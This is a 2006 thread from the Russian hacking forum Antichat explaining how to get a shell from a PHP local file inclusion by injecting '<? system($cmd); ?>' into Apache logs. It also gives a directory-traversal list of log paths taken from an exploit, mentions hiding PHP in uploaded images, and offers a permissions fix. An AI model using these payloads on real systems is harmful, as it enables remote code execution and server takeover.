Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Локальный include как способ получть шелл (https://forum.antichat.xyz/showthread.php?t=23394)

Goudini 01.09.2006 18:12

Локальный include как способ получть шелл
 
Получение шела при локальном инклуде

Часто когда находится уязвимость локального инклуда, но паролей от базы данных нет, или есть, но к фтп не подошли, а база пускает только с localhost, дополнительные дыры в скриптах не найдены.... Казалось бы всё пропало, но если есть доступ к файлу журналов Веб-сервера access.log или error.log, можно получить шелл

Запускаем telnet localhost 80

Цитата:

GET <? system($cmd); ?>
Теперь в файле останется запись похожая не эту
Цитата:

127.0.0.1 - - [31/Aug/2006:22:36:29 +0300] "GET <? system($cmd); ?>" 400 414

Как видите всё передалось в чистом виде.
Теперь если к основному скрипту подключить файл логов, то возможно он будет выполнен как php-код
Смотрим.. Вуаля
Цитата:

127.0.0.1 - - [31/Aug/2006:22:36:29 +0300] "GET

Notice: Undefined variable: cmd in \usr\local\apache\logs\access.log on line 1
Warning: system(): Cannot execute a blank command in \usr\local\apache\logs\access.log on line 1

Можем выполнять команды.
Для решения данной уязвимости, нужно разрешить просмотр конфигурационных файлов только пользователю root
Цитата:

chown -R root:root /usr/local/apache
chmod -R o-rwx /usr/local/apache


Utochka 01.09.2006 18:16

интересная идея.
но мне кажется, что редко где файл log обрабатывается как .php

k1b0rg 01.09.2006 20:43

да хоть расширение bmp будет, он его обработает как php код.

Действительно идея интересная, но как на практике она работает, хз.

max_pain89 01.09.2006 21:06

способ стар как мир, просто мало о нем кто думает в первую очередь...

уже давно сплойты перебирают всевозможные локации логов.
http://securityreason.com/exploitalert/1100
Цитата:

$paths=array(
"../../../../../../../../../../../../var/log/httpd/access_log",
"../../../../../../../../../../../../var/log/httpd/error_log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../../../../../../apache/logs/error.log",
"../../../../../../apache/logs/access.log",
"../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../../apache/logs/error.log",
"../../../../../../../../apache/logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../../logs/error.log",
"../../../../../../logs/access.log",
"../../../../../../../logs/error.log",
"../../../../../../../logs/access.log",
"../../../../../../../../logs/error.log",
"../../../../../../../../logs/access.log",
"../../../../../../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../../../../../../var/www/logs/access_log",
"../../../../../../../../../../../../var/www/logs/access.log",
"../../../../../../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../../../../../../var/log/apache/access_log",
"../../../../../../../../../../../../var/log/apache/access.log",
"../../../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../../../var/www/logs/error_log",
"../../../../../../../../../../../../var/www/logs/error.log",
"../../../../../../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../../../../../../var/log/apache/error_log",
"../../../../../../../../../../../../var/log/apache/error.log",
"../../../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../../../var/log/error_log"
);
часто есть права на чтение /etc/httpd/conf/httpd.conf или /etc/apache/conf/httpd.conf, ну или /etc/apache2/conf/httpd.conf


Парни не забываем, что если еррор лог (или акцесс) больше максимального размера (установленного в настройках пхп) то появится лишь ошибка класса warning

m0nzt3r 01.09.2006 21:38

макс_пейн прав..взгляните на сплойты на милворме..особенно от ргод-а.Там тоже перебираюца логи, только у мя никогда не пахало(( много ждал.Почти весь массив перебирал))

Digimortal 20.09.2006 01:18

Об этом способе получения шелла не так часто пишут, а в сплоитах он и правда время от времени встречается.
Несколько подробнее про это можно почитать, к примеру, в статье n4n0bit'а вот здесь: _http://hellknights.void.ru/articles/0x48k-phpinclandinjattacks.html

1ten0.0net1 22.09.2006 14:35

Давно читал эту статью в papers на milworm.
P. S. 80% логи не доступны для чтения пользователю под которым запущен веб-сервер.

Sw%00p 22.09.2006 21:35

ну одно и тоже если мы пихнём в картинку пхп код и зальём на сервак в галлерею к примеру и через локальный инклуд експлуатируем
а если обычно запускать ну конечно же он будет обрабатываться как обычная картинка или лог файл просто


Время: 04:04